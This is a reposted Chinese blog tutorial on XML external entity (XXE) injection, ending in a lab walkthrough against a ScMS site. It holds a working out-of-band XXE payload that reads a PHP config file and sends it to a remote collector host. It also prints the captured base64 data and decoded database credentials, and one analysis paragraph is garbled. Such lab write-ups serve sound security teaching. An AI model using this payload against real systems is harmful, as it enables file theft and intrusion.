XXE实体注入(超详细!)

XXE实体注入(超详细!)可以把它理解为txt,就是存储文件的,读取并调用出来,这是最核心的将你的代码当成XXE代码,然后XXE再交给PHP去执行将1.txt的东西,放入test这个变量实体就是变量&test就是输出这个变量<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行最主要的是访问的地址,file,http等协议都可以。XXE:XML外部实体注入,原理:.

大家好,又见面了,我是你们的朋友全栈君。

在这里插入图片描述

可以把它理解为txt,就是存储文件的,

读取并调用出来,这是最核心的

在这里插入图片描述
在这里插入图片描述

将你的代码当成XXE代码,然后XXE再交给PHP去执行

将1.txt的东西,放入test这个变量
实体就是变量
&test就是输出这个变量
<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行

最主要的是访问的地址,file,http等协议都可以。

XXE:XML外部实体注入,原理:有了XML实体,关键字SYSTEM会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。XML是被设计用来存储以及传输信息,本身不会做任何事情。真正读取的是PHP有一个处理XML的函数:simplexml_load_string()。
程序分析:SYSTEM关键字通过file协议读取c:/1.txt里面的内容赋值给test实体,&test引用实体赋值给了$test变量,这里所做的是构造xml代码,将xml代码传参给了simplexml_load_string()函数执行,真正的读取是在这个函数执行的,最后print_r输出。
没有simplexml_load_string()函数,是读取不出来的
在这里插入图片描述
在这里插入图片描述

有的时候,XXE并不是都会给显示出来,就像sql里的盲注,不会给你直接显示出来。

在这里插入图片描述

演示

前面这个file_put_contents是php的一个写入函数,
只要我们去访问x.php并向id里传参东西,那么传参的东西就会被记录到147.txt里面。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
同理,我们把这个代码翻入XEE里面也是同样的效果,但是看起来要简单一点。
结合前面x.php里面的写入代码和x.php的传参+现在的XEE文件,我们就可以很简单的实现注入!

在这里插入图片描述
在这里插入图片描述
这里之所以有3个147,是我访问了3次。

在这里插入图片描述
简单来说就是只要有人访问了这个PHP文件,那么传参的数据就会被记录下来
在这里插入图片描述

XXE和ssrf很像,XXE需要依托于xml文件,而ssrf不需要依托xml文件。

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据传入xml
在这里插入图片描述
POST传参,然后输出
在这里插入图片描述

靶场练习

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
程序分析:SYSTEM关键字令XML解析器读取了C:/phpStudy/scms/conn/conn.php里面的内容并进行base64编码赋值给了实体file,同时去访问了炮台上的1.xml,在1.xml会将实体file里面的值当成$_GET获得的id传参,去访问了2.php,在2.php里面将id传参的值记录下来,写进了3.txt文档里。

靶场演示:靶场是一个闪灵cms,里面有个weixin/index.php文件

在这里插入图片描述

http://59.63.200.79:8207/weixin/

?signature=fdasfas

在这里插入图片描述

查找simplexml_load_string()函数
程序分析:$postArr = file_get_contents(“php://input”); 将获取post的传参,赋值给变量
p o s t A r r , 再 传 参 给 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 往 上 看 , 发 现 要 执 行 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 是 有 条 件 的 , postArr,再传参给simplexml_load_string()函数,往上看,发现要执行simplexml_load_string()函数,是有条件的, postArr,simplexmlloadstring()simplexmlloadstring()signature != “” 变量值不为空;且$signature = R E Q U E S T [ “ s i g n a t u r e ” ] ; 这 个 变 量 值 来 自 于 _REQUEST[“signature”]; 这个变量值来自于 REQUEST[signature];_REQUEST获得的参数。
攻击思路:将我们构造好的xml代码,通过post传参,传递给变量$postArr
攻击代码,读取conn.php里数据库配置文件:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

在这里插入图片描述

访问炮台上的http://59.63.200.79:8017/3.txt,获得数据,

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
在这里插入图片描述
进行base64解码,获得数据库的账号,密码,库名
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
在这里插入图片描述
访问http://59.63.200.79:8207/adminer.php ,输入账号,密码,库名进行登录,登录成功
在这里插入图片描述

然后得到密码

在这里插入图片描述
将账号admin的 密码MD5解密得admintestv1

在这里插入图片描述

访问后台管理:http://59.63.200.79:8207/admin/#/app/index
提交flag: admintestv1
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142528.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Redisson 实现分布式锁

    Redisson 实现分布式锁

    2021年7月11日
    85
  • 成员变量和局部变量的区别是什么_实例变量和成员变量的区别

    成员变量和局部变量的区别是什么_实例变量和成员变量的区别成员变量和局部变量的区别?A:在类中的位置不同成员变量:在类中方法外局部变量:在方法定义中或者方法声明上B:在内存中的位置不同成员变量:在堆内存局部变量:在栈内存C:生命周期不同成员变量:随着对象的创建而存在,随着对象的消失而消失局部变量:随着方法的调用而存在,随着方法的调用完毕而消失D:初始化值不同成员变量:有默认初始化值局部变量:没有默认初始化值,必须定义,赋值,然后才…

    2025年7月17日
    4
  • INSERT INTO SELECT 实例

    INSERT INTO SELECT 实例需求:   把一个表中特定的2列查询出来,然后插入到另外一张表,插到另一张表的其他列的值是固定值。要插入的表,插入全部内容时是这样的:INSERTINTO`mapping_record`(id,mapping_record.type,sim_id,wx_id,created_time,updated_time,is_available)VALUES(uuid(),’94

    2022年7月15日
    15
  • Python网页爬取_在pycharm里面如何爬取网页

    Python网页爬取_在pycharm里面如何爬取网页使用Python爬取简单数据闲暇时间学习Python,不管以后能否使用,就算了解计算机语言知识。因为有一点Java基础,所以Python的基本语法就很快的过了一遍,看了视频之后直接就开始编写,表达或许有点混乱,以后慢慢改进。一、导入爬取网页所需的包。frombs4importBeautifulSoup#网页解析importxlwt#excelimportre#正则表达式importurllib.request,urllib.error#指定url,获取

    2022年10月13日
    2
  • 事务的四种隔离级别_事务默认的隔离级别

    事务的四种隔离级别_事务默认的隔离级别数据库事务的隔离级别有4种,由低到高分别为Readuncommitted、Readcommitted、Repeatableread、Serializable。Readuncommitted读未提交,顾名思义,就是一个事务可以读取另一个未提交事务的数据。事例:老板要给程序员发工资,程序员的工资是3.6万/月。但是发工资时老板不小心按错了数字,按成3.9万/月,该钱已经打到程序员的户口,

    2022年10月14日
    2
  • 关于write()和fsync()

    关于write()和fsync()writessize_twrite(intfd,constvoid*buf,size_tcount);将数据写到文件中.注意,如果文件是保存在硬盘中,write()函数调用返回之后,并不表示数据已经写入到硬盘中,这时如果掉电,数据可能会丢失.fsyncintfsync(intfd);程序调用本函数,通知内核把数据写到硬盘(file)中.比如,…

    2022年5月31日
    50

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号